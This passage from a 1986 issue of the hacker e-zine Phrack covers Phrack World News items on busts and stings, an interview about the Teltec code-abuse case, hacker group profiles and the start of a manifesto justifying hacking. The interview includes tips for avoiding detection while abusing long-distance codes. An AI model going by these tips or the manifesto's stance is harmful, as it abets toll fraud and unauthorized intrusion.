Another account of this story by TWCB Inc, says that Overlord has changed his mind and is not selling his computer or taking down Spectre III.

The court date is set at April 9, 1986, Overlord (815) says that the worst that can happen is probation, a fine, civil service work, or any combination of the three.

Information provided by Overlord (815) during interview with Knight Lightning

________________________________________

TAP: Latest News From TWCB April 8, 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Well, as many of you may have noticed, TWCB Inc. did not fulfill their promise of having TAP Magazine out by April 7, 1986. When asked about this on that date, they replied that they had all the stuff, but it had to be typeset, formatted, printed, and distributed. They estimated that they could have it done in another four days. This secondary deadline was also not achieved.

The writers (according to TWCB) include:

Abbie Hoffman/Ace/Final Impulse/Gary Seven/Knight Lightning/Mark Tabas/ Taran King/Susan Thunder/The Bootleg/The Cracker/The Firelord/The Metallian/TUC

The magazines supporting TAP include:

Mad Mad Magazine/High Times/Bootlegger Magazine/Hacker Magazine

Scan Man dropped himself from the TAP Staff.

By issue #6, TWCB plans to have a 112 page magazine. This is due to the fact that by then they plan to be receiving many more articles and will have several more companies advertising.

The first issue of TAP Magazine will have articles on the following topics:

ISDN: Parts by Taran King and The Bootleg

Fiber Optics

Cellular Phones

Satellite Jamming

Moving Satellites

The Teltec Bust: Surfer Bill/The Firelord/TWCB Inc/Knight Lightning Dr. Who Bust

History of TAP

RSTS 8.0

Signalling Systems: Taken from Phrack Inc. Newsletter

Introduction to PBXs: by Knight Lightning, taken from Phrack Inc. Newsletter ROLM: By Monty Python, taken from Phrack Inc. Newsletter

MCI Overview: by Knight Lightning, taken from Phrack Inc. Newsletter New BBS Laws: by Sally Ride, taken from Bootlegger Magazine Cosmos: by Lex Luthor and the Legion of Hackers, taken from Bootlegger Magazine Private Audience: by Final Impulse, taken from Phrack Inc. Newsletter UNIX: by The Cracker

MAX Profile: by Phantom Phreaker, taken from Phrack Inc. Newsletter Crashing Dec 10s: by The Mentor, taken from Phrack Inc. Newsletter Pak Time: by Kerrang Khan

Techniques of Tracing

ESS: by Mark Tabas

Information provided by TWCB Inc. during interview with Knight Lightning

________________________________________

Quick Notes

‑‑‑‑‑‑‑‑‑‑‑

On March 23, 1986, The Radio Station BBS in New York celebrated its one year anniversary. It now has one meg of storage online.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rumor that Taran King was on a talk/news program in New York discussing hacking is completely wrong. Dead Lord started it, but as yet no one knows why.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Tempest in 805 was burglarized in March. His computer and all other equipment among other things were stolen. This of course explains his absence from the bbs world for a while.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

A reasonably new IBM kracking group, which was formally the Imperial Warlords, now known as Five‑O, are re‑kracking software and claiming it to be original by themselves. Futhermore they are placing insulting messages inside the software towards certain individuals.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Kidd of 408 got busted for busted for selling codes at his school for five dollars a piece. There was no particular company mentioned.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Video Stalker (408) carded some stuff to the home of Sinbad! Sinbad! told him that he would sign for the stuff, and when he did, he was arrested. No more details available.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Tunnel, one of Austin, Texas's oldest phreak/hack boards, has come out of the closet. The Tunnel was revealed on the local news to be run by the computer crime division of the Austin Police Department. The two main goals of the board were to A) catch carders and B) catch Mentor and Cisban Evil Priest trying to sell those stolen computers. They were very successful at A.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Stronghold East elite has announced its new advisors. Hack Advisor: Lex Luthor Phreak Advisor: Blue Buccaneer. The soon plan to have a name change due to the fact that Apple Commander of Stronghold North insists they the two boards are affiliated while Slave Driver and Equalizer of Stronghold East feel differently. With instruction from Lex Luthor, SEE has enacted new security measures.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Thanx to 2600 Magazine, Stronghold East Elite now has the complete court transcripts of the bust that took place early last summer, most notably concerning Private Sector and 6 others, online for viewing.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Sigmund Fraud has been discharged as co‑sysop of the Radio Station bbs.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Captain Crunch of 512 has stated that an auto‑dial program that he wrote and uploaded was copied by TWCB Inc., who then claimed it as their own and signed their name in it.

________________________________________

Phrack World News Issue 4 Part 3

==Phrack Inc.==

Volume One, Issue Five, Phile #12 of 12

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 4 Part 3 ///_ _ _______

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN IV \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

Demise of Phreakdom in Florida: The Story of Teltec

Interview with Surfer Bill by The Firelord

Written by Knight Lightning

========================================

Firelord (FL): Bill, I wanted to ask you some stuff on that bust you were telling me about.

Surfer Bill (SB): Yeah, whatta ya want to know?

FL: Who the hell got busted?

SB: Well, you wanna know who knows a hell of a lot more than me is Jack Flack. He has the subpoena, it's about 40 pages, it lists every single one of their names, and all the charges word for word, it's incredible.

FL: Jack Flack isn't accepting phone calls, it's probably not a very good idea.

SB: Teltec is based in Miami, they got really pissed off that everyone was abusing their services. I mean using their codes and things like that. These people aren't stupid. I mean they know if you've got a sequential hacker on. They know because what happens is that their computer registers every single bad code. So If they see 20000, 20001, 20002, and keeps on going registering as bad codes and all of the sudden 20011 doesn't register, but 20012 does then they know that 20011 is a good code. What they will do is monitor this code and watch it for abnormal usage. They will be sitting there saying, 'Hey this code has been getting a lot of use in the past few days.' Then they will put a tracer on, trace the person, tap the line, and start amassing information about the line owner. It is like putting a noose around your own neck!

Basically what I heard is happening down here is that, I believe, there are five bulletin board systems in the Miami/Fort Lauderdale/Boca Raton area that they are after.

Caeser's Palace (Sysoped by Caeser D, Whose real name is John Kessler) Parasec (Sysoped by Mark Barochich {sic})

COPS

Apple Tree, not Apple Tree I or Apple‑Tree II, it was the Apple Tree Phreak BBS, that one everyone now knows as the Catfur. And Plovernet (305).

FL: Didn't you say that Teltec planted agents on all these boards?

SB: Yeah, that's what I was getting to. I don't know for a fact or anything but, what I hear is that Teltec employees posed as undercover hackers or phreakers and got on to the above listed boards. They had handles and infiltrated the system, having everyone believe that they were phreakers. Cause what they did was, well obviously they knew what they were talking about after all they worked for the company. They posted really educated information. From there I believe they actually posted some Teltec codes. There again, some of this is rumor, some of this is fact, I really couldn't tell you which was which.

FL: Well who all was busted?

SB: Jack Flack, Caeser D (John Kessler), Demetrius Cross, Dave Peters, several others of course. One whole family got busted, the father, the son, and the daughter. There is a list of thirty‑eight people, their actual names were published in the Miami Review, which is a lawyer newspaper that goes to all the lawyers and judges in the Miami area. Another interesting thing is that the list mentioned a John Doe and a Jane Doe. There was a clause that said these two people are to be named at a later date, so who knows who that could be or even it was more than one person.

FL: You say Lex Luthor escaped?

SB: Yes he did.

FL: They were gonna snag him, but he escaped to California.

SB: I don't know exactly if they had him or whether they were gonna bust him or not but I know he was not mentioned.

FL: Maybe he was one of the John or Jane Doe people.

SB: Most of the stuff that I know is basically public information so I don't know anything about that John and Jane Doe stuff.

SB: An important point is that the Teltec agents posted some codes and then monitored those codes. I believe they cannot bust you for using those numbers because that's a form of entrapment. Instead what they'll do is monitor the calls, trace the calls, and then they will know who they are dealing with.

FL: They'll hook up a dialed number recorder (DNR) on the line.

SB: Well what this whole deal is doing is sorta pointing a finger of blame. Both people are wrong, Teltec is wrong in using entrapment to try and catch you, and you are wrong for using their codes to phreak. So what they do is keep an eye on you. So then they say "ah ha" this guy, John Doe over here is using this code. We know he has been abusing our system and now we are gonna keep an eye on him. So when this code goes dead, we're gonna watch and see if he uses any different ones and if he does, we'll bust him.

The main thing that's gonna come out of this court case is that they are gonna go after the the 5 people that were the system operators of the bbses. They're not really after the average user, what I think is happening is that the average users are going to be used as witnesses against the system operators.

The scary part about this case is that it is really pretty big because, it may set a precedent. If the judge rules in favor of Teltec and then Teltec presses charges, the subpoena says that there is a minimal of $5000 damage, and that's what they're seeking. So its gotta be well over $5000 damages. I tell you one thing, from the amount of money and information Teltec has put into this they are really determined to press charges. They invested a lot of money as far as lawyers and investigators. Another scary part of this story is that Teltec has not made the evidence that they have against the thirty‑eight people public, as far as I know, and that's what everyone is afraid of. The average user doesn't know what he is up against.

FL: I bet the majority of the people on those boards are scared shitless now.

SB: Oh yeah, everybody is, its like the whole city of Miami is. Also I hear that Sprint and MCI will be cracking down in the future. They are most likely waiting to see how this case goes.

FL: Is Teltec the major service down there that everybody uses?

SB: Not really, it's one of many. The popular one these days is MCI cause it only has those 5 digit codes.

FL: I heard Teltec gave shitty connections.

SB: Yeah, that's funny because, I was talking to Jack Flack, and I said if you wanna crack up the people in the courtroom and you know that they are definitely gonna bust you, and that you're guilty beyond a shadow of a doubt, make a joke if they ask you what you know about Teltec say, "Alls I know about Teltec is that their connections to California are really shitty!" I don't know if they'd be too happy about hearing that one!

FL: So they are really gonna take care of this aren't they?

SB: Yeah but Teltec's main goal is to really get the system operators. You should read this subpoena here, it talks about the system operators. It says that the sysops "organized, financed, directed, and oversaw the illicit posting and trading of Teltec codes" "They failed to delete the messages containing illegal information." You see so the sysops are guilty cause they didn't delete the messages.

FL: The thing that could've solved all this is if people used random hackers and random destination numbers, like MegaPhreak.

SB: Another point is that even though you may be using a random hacker, most people aren't gonna be using the system at 3 a.m. to 4 a.m. The best time to scan is during normal business hours.

FL: That's true, after all you don't need 10,000 codes.

SB: Well anyway, I think that they are really after the system operators. And if Teltec wins this case it will set a precedent. If all that happens then I expect that we are gonna see a lot more of these cases popping up all around the country.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Editor's notes: There is some talk about there actually being 6 boards being busted and not just 5. Also the reference that Lex Luthor had any involvement or close calls with Teltec is only rumor. Other reports from 305ers who wish to remain un‑named state that MCI has indeed stepped up its war on phreakers and hackers. Sysops, I really hope you watch who you let on.

Remember, a filter or fee for a bbs can easily be handled by agents or investigators. The best way to check on people is through references.

TWCB was also online during this interview, but as they gave little or no input to the actual content of this file all remarks from TWCB have been screened as they were worthless.

The original interview was done on a conference and recorded on cassette tape which was delivered to me. After which I wrote this file. This file was given permission to be printed in Phrack World News by The Firelord of 307 NPA.

‑ Knight Lightning

________________________________________

Telephone Testimony March 1986

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Chairman Bill McGowan made a point to the House Subcommittee on Telecommunications. In testimony before the recently reconvened hearings on telephone industry competition, McGowan spoke against the "diversification frenzy" of the Bell Operating Companies (BOCs). He told the congressional subcommittee that the industry is still in the transition to full competition and cautioned against replacing a regulated monopoly with seven unregulated ones.

Information taken out of MCI World, March 1986 Issue

________________________________________

Kaptain Krash Busted

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Kaptain Krash was caught stealing American Telephone & Telegraph's (AT&T) Teleconferencing time through an 800 PBX posted on P‑80. He has been isolated from other members of the underground by his parents.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note from Forest Ranger:

‑ LET THIS BE A LESSON TO THOSE WHO USE 800 PBX'S. 800 PBX'S ARE LIKE MAKING COLLECT CALLS AS TO WHERE YOUR NUMBER IS AUTOMATICALLY KNOWN. SO IT IS VERY EASY TO TRACE BACK TO YOU WHILE ON THE CONFERENCE OR A LATER CHECK WILL INDICATE THE SAME FINDINGS. Information Provided By F.R. Communications Newsline Service (c) 1986

________________________________________

Metal Shop Private Cleans House

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On April 13, 1986, Taran King and Knight Lightning repurged the userlog deleting over 100 users from Metal Shop Private. This was mainly because of non‑callers clogging up the log and to make sure there would be no extra accounts to lessen the security of the bbs.

People wishing to become members of Metal Shop Private, should contact Taran King or Knight Lightning via email. They then would be discussed with the Metal Shop Staff etc.

________________________________________

Dan Pasquale Seeks New Entertainment

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This message is mainly for bbs sysops. Have you been receiving more calls from people in the 415 NPA? In conversation with Dan Pasquale (See Phoenix Phortress Article in PWN III) High Evolutionary was told that Dan plans to try his hand at out of state bbses..."for fun." Let it be remembered that Dan Pasquale ran Phoenix Phortress BBS and as such saw posts for other phreak and hack bbses. Furthermore, as a bad habit, several bbsers seem to use the same passwords in more than one place. Therefore it is a possibility that Dan could log on to bbses as someone else.

"The Radio Station Incident"

Oryan Quest had asked Broadway Hacker to remove him from the userlog for RS's own security. However BH decided not to do it at that time. Roughly a week later, someone using Oryan Quest's password logged onto the Radio Station BBS. This person was completely computer illiterate. Example: He typed "HELP" instead of "?" for a menu. When Broadway Hacker broke onto chat mode this Oryan Quest dropped carrier.

Please note: Although the police had to drop charges on Oryan Quest because of an illegal search this does not mean that the police couldn't have found his passwords.

Broadway also mentioned a rash of new users applying from 415 NPA.

Sysops beware.

Some Information Provided By Broadway Hacker/High Evolutionary/Oryan Quest

________________________________________

Maxfield Speaks

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

In a Detroit newspaper, John Maxfield was interviewed by a reporter. Although I do not have the article or all the facts pertaining to it, it is known that the names mentioned include: Phantom Phreaker, High Evolutionary, Scan Man, Music Major, The Bootleg, and Slave Driver.

It is believed that Maxfield had acquired these names from P‑80. However this is pure speculation.

Information Provided By Various Sources

________________________________________

6

- Index by Taran King

- Pro-Phile on Groups by Knight Lightning

- The Technical Revolution by Dr. Crash

- Fun with Lighters by The Leftist

- Nasty Unix Tricks by Shooting Shark

- Smoke Bombs by Alpine Kracker

- Cellular Telephones by High Evolutionary

- Wide Area Networks by Jester Sluggo

- Phrack World News Part 1 by Knight Lightning

- Phrack World News Part 2 by Knight Lightning

- Phrack World News Part 3 by Knight Lightning

- Phrack World News Part 4 by Knight Lightning

- Phrack World News Part 5 by Knight Lightning

Index

==Phrack Inc.==

Volume One, Issue Six, Phile 1 of 13

Introduction

‑‑‑‑‑‑‑‑‑‑‑‑

Welcome to Phrack Inc. VI! We have been somewhat delayed in our release due to problems with my home life (see PWN in this issue for details) but here we go! Right now, Metal Shop Private is down, but when I return to real life, it should re‑emerge with a new BBS program and hopefully will be better than ever. Now, with the release of Telecomputist Newsletter, we have the capabilities to have Phrack Inc. printed out.

If you feel you'd like to subscribe to something like this, it would be operated in this manner: being one of our positive points, it will be free to an extent. You, the subscriber, will be paying for postage and if necessary, envelopes as well as P.O. Box rental, but none of this should amount to much. If you are interested in getting this, please contact any member of the Metal Shop Family or Phantom Phreaker of The Alliance with your opinions on this. If we get enough support, we'll get this rolling. Later on.

TARAN KING

Sysop of Metal Shop Private

This issue of Phrack Inc. includes the following philes: Title by Author (amount in K)

1 Index by Taran King (1k)

2 Pro‑Phile on Groups by Knight Lightning (14k)

3 The Technical Revolution by Dr. Crash (4k)

4 Fun with Lighters by The Leftist (2k)

5 Nasty Unix Tricks by Shooting Shark (4k)

6 Smoke Bombs by Alpine Kracker (2k)

7 Cellular Telephones by High Evolutionary (5k)

8 Wide Area Networks by Jester Sluggo (10k)

Pro-Phile on Groups

==Phrack Inc.==

Volume One, Issue Six, Phile 2 of 13

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`

Phrack Pro‑Phile 3

Featuring: User Groups and Clubs

Written By

Knight Lightning and Taran King

On June 10, 1986

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`

Welcome to issue 3 of Phrack Pro‑Phile. The information herein was originally supposed to appear as a special issue of PWN, but instead was made this issue's Phrack Pro‑Phile. Taran King and I have collected much information about the different clubs and groups of today and yesterday and compiled in the form that you will now see.

\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`\`

Extasyy Elite: The story of Extasyy Elite is a sad one for the group was literally destroyed by its own members. The Poltergeist turned in all of Extasyy after he got busted for carding. This led the authorities to The Mentor who had stolen 30 Apple //es.

Mentor's bust almost led to The Protestor, but luckily, The Mentor was able to warn Protestor in time. (See Phrack World News Issue III).

The membership of the club included:

Bit Blitz Cisban Evil Priest Crustaceo Mutoid Kleptic Wizard The Mentor The Poltergeist The Protestor

Crustaceo Mutoid later joined the Racketeers, but now he and The Mentor write for a California newsletter called the Underground Informer.

Extasyy hung out on Hack Net BBS and FWSO, a bbs in Colorado.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Fargo 4A: This group was started on a conference consisting of Bioc Agent 003, TUC, Big Brother, Quasi‑Moto, Video Warhead, and the Wizard of Arpanet. What they did was get several Directory Assistants on the conference, and each person assumed a role of some sort of telco agent. Now they told the DA's that all their calls were going to be re‑routed to a different location. They got some of the DA's to believe them, and some of them were almost laid off because of this conference. By the way, Fargo is in North Dakota, that's where the first DA was from.

It is believed that Wizard of ARPAnet was busted by John Maxfield and that BIOC completely retired from the phreak world. This group was unofficially disbanded, but several of the members are still active.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Five‑O: A reasonably new IBM kracking group, which was formally the Imperial Warlords. Currently they are re‑kracking software and claiming it to be original by themselves. They are known for placing insulting messages towards certain people inside their re‑kracked software.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

IBM Syndicate: This group was formed around April 6, 1986. Its charter members included; Dark Creaper (916), Brew Associates (215), Major Havoc (301), and one other whose handle remains unknown to me at the current time. They were a new phreak/hack/pirate group. Unfortunately, this group (like so many others) died within its first month.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Icub (International Computer Underground Bandits):

This is a hack/phreak group who's main emphasis is on phreaking. It is based in Memphis, Tennessee. It has 10 members in it, and the only semi‑active member left is Doc Holiday. Not much else is really known about this group except that it is inactive and there have not been any announced plans to revive it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LOD/H: Legion Of Doom/Hackers

These two groups are very closely intertwined. They both were formed on Plovernet. The founding member was Lex Luthor. Through the years, there have been LOD/H bulletin boards such as Blottoland, LOD, FOD, etc. Today there is Catch 22 and a new LOD bbs, supposedly being run by King Blotto. The current member list of the group is as follows:

Legion Of Hackers Legion Of Doom

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Blue Archer Phucked Agent 04 Gary Seven Compu‑Phreak Kerrang Khan

Lex Luthor

Master Of Impact

Silver Spy (Sysop of Catch 22)

The Marauder

The Videosmith

LOD/H is known for being one of the oldest and most knowledgeable of all groups. In the past they have written many extensive g‑philes about various topics. (Please forgive any mistakes in the member list since this list was provided by Lex Luthor approximately 1 1/2 ‑ 2 months ago).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Metal Communications: A very large group that has written many files throughout its existence. Some of the boards in its menagerie include Speed Demon Elite, Metal AE, Metal Works AE, Metalland I and several others. The membership of Metal Communications includes:

Cobalt 60/Crimson Pirate/Dr. Local/Red Pirate/Shadow Lord/The Angel Of Destiny The Apothecary/The Byte/The Byte Byter/The Dark Wizard/The Duke/The Dutchman The Man In Black/The Prophet/The Pink Panther/The Voice Over/The Radical Rocker The Warlock Lord/White Knight

Red Pirate, Crimson Pirate, and Dr. Local are the group's main ware distributors.

A subsidiary of Metal Communications is the Neon Knights whose membership includes:

Baby Demon/Jolly*Roger/The Blade aka Killer Kurt/The Master of Reality The Metallian/The Outland/Zandar Zan

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PAG/PAP: Phreaks Against Geeks/Phreaks Against Phreaks Against Geeks

PAG: This group was formed by TWCB Inc. as a joke on a conference in December, 1985. The charter members were TWCB, Inc. taRfruS, Blue Adept, The Clashmaster and a few others. Later, Catcher in the Rye and the Slovak wanted to join.

PAP: In resistance to PAG, Boston Stangler and Micro Man formed PAP. Several others sided with them but were never formal members.

All of this nonsense was really started on the Dartmouth system and was mainly a feud between phreaks in the Boston (617) area until TWCB got involved.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Administration: This group was sort of in two parts; The Administration and Team Hackers '86. The membership of these groups include:

Adolph Hitler...............Team Hackers '86 Alpha Centauri

Author Unknown..............Team Hackers '86 British Bloke...............Team Hackers '86 Dark Priest

David Lightman (214)........Administration Leader/

Team Hackers '86

Dr. Pepper

Hewlett Hackard

Major Havock................Team Hackers '86 Mane Phrame

Mark Twain

Phoneline Phantom 1 ‑ *Not* a member of Phoneline Phantoms. Red Baron

Renegade Rebel

Sasha Kinski................Team Hackers '86 The President

Walter Mitty

The group did disband temporarily for reasons dealing with security, but now is back together. For other news about this group see the current PWN.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Nihilist Order: This group was really a loosely connected bunch of friends and phreaks and not a true club. It is based in Fremont and Sunnyvale, California. It was started by TRASk and The Highwayman. The membership includes:

BelGarion/Ogre Ogre/The Animator/The Highwayman/TRASk

All of the members of the group have been busted or been involved in busts in the past few months. The Highwayman bit it in the Phoenix Phortress Sting Operation, and the others all got caught on a carding scam. Although BelGarion was later released with no record.

One of the boards in the Nihilist Order's network is the Shattered World Elite, which is sysoped by TRASk. The group is currently inactive.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The P.H.I.R.M.: A somewhat new group that recently has been accused (without proof) of being fed invested.

Not much is really known about this group as they would disclose very little information. Some of the boards that are now P.H.I.R.M operated include Thieve's Underworld, sysoped by Jack The Ripper, World's Grave Elite sysoped by Sir Gamelord, and SATCOM IV.

The P.H.I.R.M. reportedly will be releasing a newsletter.

The membership of the P.H.I.R.M. supposedly includes:

Archangel Blade Runner Jack The Ripper Sir Gamelord The Stingray

It is rumored that Blade Runner is the same person as Archangel and/or The Stingray.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TPM (The Punk Mafia): This group when last checked had eight members. The following is a complete listing.

Arthur Dent Creative Chaos Erik Bloodaxe Gin Fizz Ninja NYC Peter Gunn Rudolph Smith (703) The Godfather (703)

The group will be going through a rebirth this summer. Their main goals include burglary, fraud, hacking, and phreaking. Most recently The Godfather retired and Ninja NYC came very close to being busted. See Phrack World News Issue V.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Racketeers: The new Apple pirating group was assembled by Apple Rebel. The membership now includes:

Apple Rebel/Crustaceo Mutoid/Hot Rod/The Micron/The Warezird

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Tribunal Of Knowledge: This group was formed very recently by Blue Buccaneer and High Evolutionary with one purpose in mind: to get together to trade knowledge and information and to discuss this information until all the members had a good working knowledge of it. The final result would be g‑philes written by the group about the topic. On the whole it was a good idea.

The complete membership includes:

Blue Buccaneer Chef Boy R Dee Cyclone II High Evolutionary Night Stalker Paradox Professor Pixel Slave Driver The Inspectre The Seker The Wild Phreak

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2300 Club: Based in Cleveland, Ohio. The 2300 Club is now being compared and treated as miniature mafia by local authorities. This is mainly for crimes including the blowing up of cars. Two of the members were caught for fraudulent use of a credit card and one has been arrested for car theft. Which of the members that refers to, I don't know, but the membership of the 2300 Club included:

Dr. Gorey Dr. No Eagle Eyes Judge Dredd King Blotto Mr. Modem Prince Squid Spectreman The Formatter

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

2600 Club/New 2600 Club: Both groups are no longer in existence. Originally started as a local group of friends in St. Louis, Missouri, it gained members quickly, too quickly, and as the membership grew, the unity and productivity of the group lessened until the group(s) finally broke up. However many of the members of 2600 Club now write (or have in the past) for Phrack Inc. Among them are:

Cheap Shades/Data Line/Dr. Crash/Forest Ranger/Gin Fizz/Jester Sluggo Knight Lightning/Monty Python/Phantom Phreaker/Taran King/The Clashmaster

2600 Club had no relation to 2600 Magazine.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Warelords: There are 13 members in the Warelords and they are based in California, Maryland, Tennessee, Washington D.C., and Wyoming. Billibuster, a member of the group, said that the Warelords are a phreaking and carding group that also writes programs and sells them. He claims that they are not pirates. The group isn't very active.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Other groups:

‑‑‑‑‑‑‑‑‑‑‑‑

Catholics Anonymous: A pirate group

Elite Phreakers and Hackers Club: From World of Cryton

Feds R Us: Joke by King Blotto

High Mountain Hackers

Imperial Warlords: See Five‑O

Inner Circle: The Cracker (Author of "Out of The Inner Circle") Kaos Inc.

Knights of Shadow: Sir Knight

MPG: Midwestern Pirates Guild

NASA Elite: Captain Kid

Neon Knights: See Metal Communications

Phlash: A relatively new Amiga kracking group.

Phoneline Phantoms: The Colonel, The Duke, The Executioner, and The Sprinter. Phreak Hack Delinquents: Metro Man and the Reaper (212)

Project Genesis: Sigmund Fraud

RDTF: Red Dawn Text‑Files, Saltheart Foamfollower (SE) and Brain Gadget (Ca.) Shadow Brotherhood

65C02 Elite (612): Wizard of ARPAnet and The Count. BBSes: Irongate, North Pole, The Guild, and The Graveyard.

The Dange Gang: Maxwell's Demon

Triple Entente

2601 Club: Formed by taRfruS to combat 2600 Club.

1200 Club

The Technical Revolution

Volume One, Issue Six, Phile 3 of 13

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

The Techno‑Revolution

by

Doctor Crash

$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$

Hacking. It is a full time hobby, taking countless hours per week to learn, experiment, and execute the art of penetrating multi‑user computers. Why do hackers spend a good portion of their time hacking? Some might say it is scientific curiosity, others that it is for mental stimulation. But the true roots of hacker motives run much deeper than that. In this file I will describe the underlying motives of the aware hackers, make known the connections between Hacking, Phreaking, Carding, and Anarchy, and make known the "techno‑revolution" which is laying seeds in the mind of every hacker.

To fully explain the true motives behind hacking, we must first take a quick look into the past. In the 1960's, a group of MIT student built the first modern computer system. This wild, rebellious group of young men were the first to bear the name "hackers". The systems that they developed were intended to be used to solve world problems and to benefit all of mankind.

As we can see, this has not been the case. The computer system has been solely in the hands of big businesses and the government. The wonderful device meant to enrich life has become a weapon which dehumanizes people. To the government and large businesses, people are no more than disk space, and the government doesn't use computers to arrange aid for the poor, but to control nuclear death weapons. The average American can only have access to a small microcomputer which is worth only a fraction of what they pay for it. The businesses keep the true state of the art equipment away from the people behind a steel wall of incredibly high prices and bureaucracy. It is because of this state of affairs that hacking was born.

Hackers realize that the businesses aren't the only ones who are entitled to modern technology. They tap into online systems and use them to their own advantage. Of course, the government doesn't want the monopoly of technology broken, so they have outlawed hacking and arrest anyone who is caught. Even worse than the government is the security departments of businesses and companies. They act as their own "private armies" and their ruthless tactics are overlooked by the government, as it also serves their needs.

